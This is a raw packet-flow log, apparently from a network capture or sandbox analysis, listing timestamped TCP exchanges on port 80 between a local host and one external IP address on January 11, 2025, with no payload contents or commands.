Jan 11, 2025 06:33:32.241766930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.246001005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.246042967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.246051073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.246087074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.246124983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:32.246251106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:32.287605047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.283380985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283415079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283432961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283443928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283454895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283466101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283477068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283488035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283499002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283535957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.283592939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.283632040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283643007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283660889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283670902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283670902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.283682108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283689976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.283691883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283703089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283713102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283723116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283729076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.283732891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283744097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283754110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283771038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.283778906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.283797979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.283812046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283829927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283840895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283849955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283859968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283864975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.283870935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283880949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283884048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.283890963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283901930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283911943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283916950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.283921957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283932924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283938885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.283942938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283952951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283960104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.283963919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.283992052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.284008980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.284219980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.284229994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.284240007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.284251928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.284256935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.284262896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.284272909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.284274101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.284284115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.284293890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.284303904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.284307003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.284315109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.284324884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.284332991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.284334898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.284346104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.284356117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.284364939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.284370899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.284377098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.284388065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.284398079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.284411907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.284439087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.284517050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.284544945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.284898996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.284919024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.284929991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.284939051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.284940004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.284965992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.284977913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.288708925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.288754940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.288784981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.288796902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.288816929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.288836002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.288919926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.288932085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.288959026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.288986921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.289021015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.289167881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.289186001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.289197922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.289201021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.289207935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.289218903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.289220095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.289241076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.289257050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.289340973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.289361954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.289374113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.289377928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.289386988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.289397001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.289397001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.289407969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.289412022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.289417982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.289422989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.289428949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.289446115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.289450884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.289455891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.289464951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.289465904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.289477110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.289479971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.289488077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.289500952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.289500952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.289525032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.289525986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.289525986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.289535999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.289546967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.289550066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.289558887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.289575100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.289602041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.289694071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.289706945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.289736032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.289758921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.289769888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.289781094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.289783001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.289809942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.289834023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.289946079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.289957047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.289968014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.289980888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.289999008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.290019035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.290061951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.290121078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.290131092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.290141106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.290150881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.290154934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.290184021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.290291071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.290302038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.290313005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.290321112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.290344000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.290345907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.290374994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.290595055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.290613890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.290626049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.290636063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.290647030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.290652037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.290657043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.290668964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.290676117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.290709972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.290714025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.290720940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.290734053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.290745020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.290749073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.290755987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.290766001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.290776968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.290777922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.290812969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.290833950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.290847063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.290870905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.290880919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.290890932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.290891886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.290904045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.290906906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.290935040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.291485071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.291496038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.291507006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.291526079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.291544914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.291598082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.291609049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.291620016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.291640043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.291742086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.291753054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.291763067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.291778088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.291802883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.291889906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.291899920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.291909933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.291927099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.291956902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.291966915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.291976929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.291985989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.291987896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.292006016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.292052031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.292062998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.292073011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.292083025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.292093039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.292094946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.292115927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.292119026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.292126894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.292135954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.292139053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.292169094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.292221069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.292231083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.292241096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.292252064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.292253017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.292263031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.292279959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.292305946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.292866945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.292877913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.292889118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.292908907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.292936087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.292947054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.292957067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.292968035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.292970896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.292987108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.293016911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.293028116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.293037891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.293047905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.293051958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.293138027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.293168068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.293178082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.293188095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.293198109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.293199062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.293205023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.293210030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.293220997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.293231964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.293236971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.293243885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.293266058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.293282986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.293788910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.293798923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.293809891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.293829918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.293853045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.293863058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.293873072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.293886900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.293911934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.294054985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.294102907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.294114113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.294142008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.294158936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.294169903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.294179916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.294190884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.294195890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.294205904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.294219017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.294254065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.294294119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.294303894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.294313908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.294331074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.294342041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.294342995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.294352055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.294363022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.294372082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.294399977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.294428110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.294441938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.294452906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.294464111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.294464111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.294475079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.294487953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.294519901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.295200109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.295211077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.295222044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.295233011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.295243979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.295253992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.295258045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.295264006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.295281887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.295300007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.295310020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.295326948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.295335054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.295339108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.295351028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.295358896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.295361996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.295372963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.295382977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.295382977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.295399904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.295408964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.295420885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.295432091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:33:33.295437098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:33:33.295438051 CET	49704	80	192.168.2.5	193.143.1.205
